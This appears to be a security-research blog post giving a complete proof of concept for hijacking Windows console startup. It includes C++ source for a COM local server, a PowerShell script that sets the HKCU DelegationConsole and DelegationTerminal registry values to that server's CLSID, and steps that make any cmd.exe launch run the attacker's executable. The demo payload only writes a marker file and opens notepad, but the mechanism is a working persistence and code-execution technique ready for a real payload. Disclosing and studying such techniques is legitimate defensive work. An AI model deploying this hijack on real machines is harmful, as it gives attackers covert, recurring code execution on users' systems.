This POC was generated with the aid of AI, due to the fact that I am shit at COM :) - Give Living Of The DelegationConsole / DelegationTerminal Keys a read for more human details.

Overview#

The idea is simple.

  • Register a per-user COM local server
  • Point DelegationConsole and DelegationTerminal to that CLSID
  • Trigger a normal visible console session
  • Let COM activate our EXE with -Embedding through the normal console handoff path

Demo#

Files#

poc_handoff/
  poc_handoff.cpp
  build.cmd
  register.ps1
  unregister.ps1

poc_handoff.cpp#

// poc_handoff.cpp
// Build:
//   cl /nologo /EHsc poc_handoff.cpp /link ole32.lib shell32.lib /SUBSYSTEM:WINDOWS /OUT:poc_handoff.exe
 
#define _WIN32_DCOM
#include <windows.h>
#include <objbase.h>
#include <shellapi.h>
 
typedef struct _CONSOLE_PORTABLE_ATTACH_MSG {
    DWORD   IdLowPart;
    LONG    IdHighPart;
    ULONG64 Process;
    ULONG64 Object;
    ULONG   Function;
    ULONG   InputSize;
    ULONG   OutputSize;
} CONSOLE_PORTABLE_ATTACH_MSG;
 
MIDL_INTERFACE("E686C757-9A35-4A1C-B3CE-0BCC8B5C69F4")
IConsoleHandoff : public IUnknown {
    virtual HRESULT STDMETHODCALLTYPE EstablishHandoff(
        HANDLE server, HANDLE inputEvent,
        const CONSOLE_PORTABLE_ATTACH_MSG* msg,
        HANDLE signalPipe, HANDLE inboxProcess,
        HANDLE* clientProcess) = 0;
};
 
// {11111111-2222-3333-4444-555555555555}
static const GUID CLSID_PocHandoff =
    { 0x11111111, 0x2222, 0x3333,
      { 0x44, 0x44, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 } };
 
static HANDLE g_done = nullptr;
 
static void DoSideEffect(const CONSOLE_PORTABLE_ATTACH_MSG* msg)
{
    wchar_t path[MAX_PATH];
    ExpandEnvironmentStringsW(L"%TEMP%\\poc_handoff.txt", path, MAX_PATH);
 
    HANDLE f = CreateFileW(path, GENERIC_WRITE, FILE_SHARE_READ, nullptr,
                           CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (f != INVALID_HANDLE_VALUE) {
        char buf[256];
        int n = wsprintfA(buf,
            "PoC handoff fired.\r\n"
            "  attacker pid : %lu\r\n"
            "  client pid   : %llu\r\n"
            "  func code    : %lu\r\n",
            GetCurrentProcessId(),
            msg ? (unsigned long long)msg->Process : 0ULL,
            msg ? (unsigned long)msg->Function    : 0UL);
        DWORD w;
        WriteFile(f, buf, n, &w, nullptr);
        CloseHandle(f);
    }
 
    ShellExecuteW(nullptr, L"open", L"notepad.exe", path, nullptr, SW_SHOW);
}
 
struct PocHandoff : public IConsoleHandoff
{
    LONG ref = 1;
 
    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
        if (!ppv) return E_POINTER;
        if (riid == IID_IUnknown || riid == __uuidof(IConsoleHandoff)) {
            *ppv = static_cast<IConsoleHandoff*>(this);
            AddRef();
            return S_OK;
        }
        *ppv = nullptr;
        return E_NOINTERFACE;
    }
 
    ULONG STDMETHODCALLTYPE AddRef() override {
        return InterlockedIncrement(&ref);
    }
 
    ULONG STDMETHODCALLTYPE Release() override {
        LONG c = InterlockedDecrement(&ref);
        if (c == 0) delete this;
        return (ULONG)c;
    }
 
    HRESULT STDMETHODCALLTYPE EstablishHandoff(
        HANDLE /*server*/, HANDLE /*inputEvent*/,
        const CONSOLE_PORTABLE_ATTACH_MSG* msg,
        HANDLE /*signalPipe*/, HANDLE /*inboxProcess*/,
        HANDLE* clientProcess) override
    {
        DoSideEffect(msg);
 
        if (clientProcess) {
            DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(),
                            GetCurrentProcess(), clientProcess,
                            SYNCHRONIZE, FALSE, 0);
        }
 
        SetEvent(g_done);
        return S_OK;
    }
};
 
struct PocFactory : public IClassFactory
{
    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
        if (!ppv) return E_POINTER;
        if (riid == IID_IUnknown || riid == IID_IClassFactory) {
            *ppv = static_cast<IClassFactory*>(this);
            return S_OK;
        }
        *ppv = nullptr;
        return E_NOINTERFACE;
    }
 
    ULONG STDMETHODCALLTYPE AddRef() override { return 2; }
    ULONG STDMETHODCALLTYPE Release() override { return 1; }
 
    HRESULT STDMETHODCALLTYPE CreateInstance(IUnknown* outer, REFIID riid, void** ppv) override {
        if (outer) return CLASS_E_NOAGGREGATION;
        auto* h = new PocHandoff();
        HRESULT hr = h->QueryInterface(riid, ppv);
        h->Release();
        return hr;
    }
 
    HRESULT STDMETHODCALLTYPE LockServer(BOOL) override { return S_OK; }
};
 
int CALLBACK wWinMain(HINSTANCE, HINSTANCE, PWSTR cmdLine, int)
{
    if (!cmdLine || (!wcsstr(cmdLine, L"Embedding") &&
                     !wcsstr(cmdLine, L"embedding"))) {
        return 0;
    }
 
    if (FAILED(CoInitializeEx(nullptr, COINIT_MULTITHREADED))) return 1;
    g_done = CreateEventW(nullptr, TRUE, FALSE, nullptr);
 
    PocFactory factory;
    DWORD cookie = 0;
    HRESULT hr = CoRegisterClassObject(
        CLSID_PocHandoff,
        static_cast<IClassFactory*>(&factory),
        CLSCTX_LOCAL_SERVER,
        REGCLS_SINGLEUSE,
        &cookie);
 
    if (SUCCEEDED(hr)) {
        WaitForSingleObject(g_done, 60000);
        CoRevokeClassObject(cookie);
    }
 
    CoUninitialize();
    return 0;
}

build.cmd#

@echo off
cl /nologo /EHsc poc_handoff.cpp /link ole32.lib shell32.lib /SUBSYSTEM:WINDOWS /OUT:poc_handoff.exe

register.ps1#

$ErrorActionPreference = 'Stop'
 
$clsid = '{11111111-2222-3333-4444-555555555555}'
$exe   = (Resolve-Path .\poc_handoff.exe).Path
 
$base = "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid"
New-Item -Path $base -Force | Out-Null
Set-Item -Path $base -Value 'PocHandoff'
New-Item -Path "$base\LocalServer32" -Force | Out-Null
Set-Item -Path "$base\LocalServer32" -Value "`"$exe`" -Embedding"
 
$startup = 'Registry::HKEY_CURRENT_USER\Console\%%Startup'
New-Item -Path $startup -Force | Out-Null
Set-ItemProperty -Path $startup -Name 'DelegationConsole'  -Value $clsid -Type String
Set-ItemProperty -Path $startup -Name 'DelegationTerminal' -Value $clsid -Type String
 
Write-Host 'Registered. Trigger with: Win+R -> cmd.exe'
Write-Host 'Marker file: %TEMP%\\poc_handoff.txt'

unregister.ps1#

$clsid = '{11111111-2222-3333-4444-555555555555}'
$startup = 'Registry::HKEY_CURRENT_USER\Console\%%Startup'
 
Remove-ItemProperty -Path $startup -Name 'DelegationConsole'  -ErrorAction SilentlyContinue
Remove-ItemProperty -Path $startup -Name 'DelegationTerminal' -ErrorAction SilentlyContinue
Remove-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid" `
    -Recurse -Force -ErrorAction SilentlyContinue

Trigger#

  1. Build poc_handoff.exe via build.cmd.
  2. Run register.ps1.
  3. Start cmd.exe.
  4. notepad.exe should open %TEMP%\poc_handoff.txt
  5. Run unregister.ps1 to clean up

Related Articles

Other threads in the archive worth reading next.